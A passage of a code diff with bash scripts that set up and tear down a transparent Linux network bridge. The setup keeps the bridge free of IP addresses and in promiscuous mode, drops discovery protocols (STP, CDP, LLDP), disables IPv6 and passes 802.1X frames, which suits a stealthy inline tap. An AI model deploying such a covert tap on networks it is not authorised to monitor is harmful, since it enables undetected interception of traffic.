# --------------------------------------------------------------------------
# Configure interfaces
# --------------------------------------------------------------------------
# Flush any existing IP addresses — bridge must have no L3 presence
ip addr flush dev "$IF1" 2>/dev/null || true
ip addr flush dev "$IF2" 2>/dev/null || true
# Set promiscuous mode — capture all frames
ip link set "$IF1" promisc on
ip link set "$IF2" promisc on
# Disable multicast snooping (avoid IGMP interference)
echo 0 > /sys/devices/virtual/net/"$BRIDGE"/bridge/multicast_snooping 2>/dev/null || true
# Add interfaces to bridge
ip link set "$IF1" master "$BRIDGE"
ip link set "$IF2" master "$BRIDGE"
# Bring everything up
ip link set up dev "$IF1"
ip link set up dev "$IF2"
ip link set up dev "$BRIDGE"
# Ensure bridge has NO IP address
ip addr flush dev "$BRIDGE" 2>/dev/null || true
# --------------------------------------------------------------------------
# ebtables rules — suppress discovery protocols
# --------------------------------------------------------------------------
# Check if ebtables is available
if command -v ebtables &>/dev/null; then
echo "Applying ebtables suppression rules"
# Flush existing rules
ebtables -F 2>/dev/null || true
# STP/BPDU — 01:80:C2:00:00:00
ebtables -A FORWARD -d 01:80:C2:00:00:00 -j DROP
ebtables -A OUTPUT -d 01:80:C2:00:00:00 -j DROP
# CDP/VTP — 01:00:0C:CC:CC:CC
ebtables -A FORWARD -d 01:00:0C:CC:CC:CC -j DROP
ebtables -A OUTPUT -d 01:00:0C:CC:CC:CC -j DROP
# LLDP — 01:80:C2:00:00:0E
ebtables -A FORWARD -d 01:80:C2:00:00:0E -j DROP
ebtables -A OUTPUT -d 01:80:C2:00:00:0E -j DROP
# Cisco PVST+ — 01:00:0C:CC:CC:CD
ebtables -A FORWARD -d 01:00:0C:CC:CC:CD -j DROP
ebtables -A OUTPUT -d 01:00:0C:CC:CC:CD -j DROP
# LLDP alternate — 01:80:C2:00:00:03
ebtables -A FORWARD -d 01:80:C2:00:00:03 -j DROP
ebtables -A OUTPUT -d 01:80:C2:00:00:03 -j DROP
# 802.1X EAP passthrough — allow EAP frames across the bridge
# (default FORWARD policy is ACCEPT, so EAP frames pass unless
# we explicitly blocked them above — we only block management protos)
else
echo "Warning: ebtables not installed — protocol suppression skipped" >&2
fi
# --------------------------------------------------------------------------
# Disable IPv6 on bridge (prevent RA/NS/NA leakage)
# --------------------------------------------------------------------------
sysctl -qw "net.ipv6.conf.${BRIDGE}.disable_ipv6=1" 2>/dev/null || true
sysctl -qw "net.ipv6.conf.${IF1}.disable_ipv6=1" 2>/dev/null || true
sysctl -qw "net.ipv6.conf.${IF2}.disable_ipv6=1" 2>/dev/null || true
# --------------------------------------------------------------------------
# Verify bridge is active
# --------------------------------------------------------------------------
if ip link show "$BRIDGE" | grep -q "state UP"; then
echo "Bridge $BRIDGE is UP: $IF1 <-> $IF2 (no IP, STP disabled)"
bridge link show
exit 0
else
echo "Error: bridge $BRIDGE failed to come up" >&2
exit 1
fi
+85
View File
@@ -0,0 +1,85 @@
#!/usr/bin/env bash
# Teardown bridge and restore interfaces
#
# Removes the transparent bridge, flushes ebtables rules, and restores
# the original interface state. Safe to call even if the bridge is
# already down or partially broken.
set -uo pipefail
# Note: no -e — we want all cleanup steps to run even if some fail
BRIDGE="br0"
echo "Tearing down bridge $BRIDGE"
# --------------------------------------------------------------------------
# Identify bridge members before removal
# --------------------------------------------------------------------------
MEMBERS=()
if ip link show "$BRIDGE" &>/dev/null; then
while IFS= read -r line; do
iface=$(echo "$line" | awk '{print $2}' | tr -d ':')
if [[ -n "$iface" ]]; then
MEMBERS+=("$iface")
fi
done < <(bridge link show master "$BRIDGE" 2>/dev/null | grep -oP '^\d+:\s+\K\S+')
fi
# --------------------------------------------------------------------------
# Remove ebtables rules
# --------------------------------------------------------------------------
if command -v ebtables &>/dev/null; then
echo "Flushing ebtables rules"
ebtables -F 2>/dev/null || true
ebtables -X 2>/dev/null || true
fi
# --------------------------------------------------------------------------
# Bring bridge down
# --------------------------------------------------------------------------
ip link set down dev "$BRIDGE" 2>/dev/null || true
# --------------------------------------------------------------------------
# Remove interfaces from bridge and restore state
# --------------------------------------------------------------------------
for iface in "${MEMBERS[@]}"; do
echo "Restoring interface: $iface"
# Remove from bridge
ip link set "$iface" nomaster 2>/dev/null || true
# Disable promiscuous mode
ip link set "$iface" promisc off 2>/dev/null || true
# Re-enable IPv6
sysctl -qw "net.ipv6.conf.${iface}.disable_ipv6=0" 2>/dev/null || true
# Bring interface up (in case it was downed)
ip link set up dev "$iface" 2>/dev/null || true
done
# --------------------------------------------------------------------------
# Delete bridge device
# --------------------------------------------------------------------------
if ip link show "$BRIDGE" &>/dev/null; then
ip link del "$BRIDGE" 2>/dev/null || true
echo "Bridge $BRIDGE deleted"
else
echo "Bridge $BRIDGE already removed"
fi
# --------------------------------------------------------------------------
# Re-enable IPv6 globally on bridge name (cleanup)
# --------------------------------------------------------------------------
sysctl -qw "net.ipv6.conf.${BRIDGE}.disable_ipv6=0" 2>/dev/null || true
# --------------------------------------------------------------------------
# Verify cleanup
# --------------------------------------------------------------------------
if ip link show "$BRIDGE" &>/dev/null; then
echo "Warning: bridge $BRIDGE still exists after teardown" >&2
exit 1
else
echo "Bridge teardown complete"
exit 0
fi